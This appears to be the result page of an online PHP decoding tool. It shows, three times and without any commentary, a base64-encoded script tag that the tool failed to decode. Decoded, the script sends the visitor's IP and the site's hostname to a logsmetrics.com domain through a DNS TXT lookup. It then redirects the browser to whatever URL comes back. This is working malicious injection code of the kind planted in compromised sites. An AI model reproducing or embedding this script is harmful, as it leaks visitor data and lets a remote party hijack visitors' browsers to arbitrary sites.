Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<script src="data:text/javascript;base64,KGZ1bmN0aW9uIChwYXJhbWV0ZXJzKSB7DQogICAgZmV0Y2goJ..

Decoded Output download

<?  <script src="data:text/javascript;base64,KGZ1bmN0aW9uIChwYXJhbWV0ZXJzKSB7DQogICAgZmV0Y2goJ2h0dHBzOi8vYXBpNjQuaXBpZnkub3JnP2Zvcm1hdD1qc29uJykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpLnRoZW4oDQogICAgICAgIGlwID0+IHsNCiAgICAgICAgICAgIGxldCBob3N0ID0gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOw0KICAgICAgICAgICAgaXAgPSBpcC5pcC5yZXBsYWNlQWxsKCc6JywgJy0nKTsNCiAgICAgICAgICAgIGlwID0gaXAucmVwbGFjZUFsbCgnLicsICctJyk7DQogICAgICAgICAgICBpZiAoaG9zdCA9PSAiIikgaG9zdCA9ICJ1bmsuY29tIjsNCiAgICAgICAgICAgIGZldGNoKCdodHRwczovL2Rucy5nb29nbGUvcmVzb2x2ZT9uYW1lPScgKyBob3N0ICsgJy4nICsgaXAgKyAnLicgKyBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAxMDI0ICogMTAyNCAqIDEwKSArICcubG9nc21ldHJpY3MuY29tJnR5cGU9dHh0JykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpLnRoZW4oZGF0YSA9PiB7DQogICAgICAgICAgICAgICAgaWYgKGRhdGEuQW5zd2VyID09IG51bGwpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB2YXIgbyA9ICIiOw0KICAgICAgICAgICAgICAgIGRhdGEuQW5zd2VyLmZvckVhY2goZWxlbWVudCA9PiB7DQogICAgICAgICAgICAgICAgICAgIGlmIChlbGVtZW50LnR5cGUgPT0gMTYpIG8gKz0gZWxlbWVudC5kYXRhOw0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgIG8gPSBhdG9iKG8pOw0KICAgICAgICAgICAgICAgIGlmICghby5sZW5ndGgpIHJldHVybjsNCiAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVwbGFjZShvKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9DQogICAgKTsNCn0pKCk="></script> ?>

Did this file decode correctly?

Original Code

<script src="data:text/javascript;base64,KGZ1bmN0aW9uIChwYXJhbWV0ZXJzKSB7DQogICAgZmV0Y2goJ2h0dHBzOi8vYXBpNjQuaXBpZnkub3JnP2Zvcm1hdD1qc29uJykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpLnRoZW4oDQogICAgICAgIGlwID0+IHsNCiAgICAgICAgICAgIGxldCBob3N0ID0gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOw0KICAgICAgICAgICAgaXAgPSBpcC5pcC5yZXBsYWNlQWxsKCc6JywgJy0nKTsNCiAgICAgICAgICAgIGlwID0gaXAucmVwbGFjZUFsbCgnLicsICctJyk7DQogICAgICAgICAgICBpZiAoaG9zdCA9PSAiIikgaG9zdCA9ICJ1bmsuY29tIjsNCiAgICAgICAgICAgIGZldGNoKCdodHRwczovL2Rucy5nb29nbGUvcmVzb2x2ZT9uYW1lPScgKyBob3N0ICsgJy4nICsgaXAgKyAnLicgKyBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAxMDI0ICogMTAyNCAqIDEwKSArICcubG9nc21ldHJpY3MuY29tJnR5cGU9dHh0JykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpLnRoZW4oZGF0YSA9PiB7DQogICAgICAgICAgICAgICAgaWYgKGRhdGEuQW5zd2VyID09IG51bGwpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB2YXIgbyA9ICIiOw0KICAgICAgICAgICAgICAgIGRhdGEuQW5zd2VyLmZvckVhY2goZWxlbWVudCA9PiB7DQogICAgICAgICAgICAgICAgICAgIGlmIChlbGVtZW50LnR5cGUgPT0gMTYpIG8gKz0gZWxlbWVudC5kYXRhOw0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgIG8gPSBhdG9iKG8pOw0KICAgICAgICAgICAgICAgIGlmICghby5sZW5ndGgpIHJldHVybjsNCiAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVwbGFjZShvKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9DQogICAgKTsNCn0pKCk="></script>

Function Calls

None

Variables

None

Stats

MD5 332186cd117709503973bc6bea020bbf
Eval Count 0
Decode Time 73 ms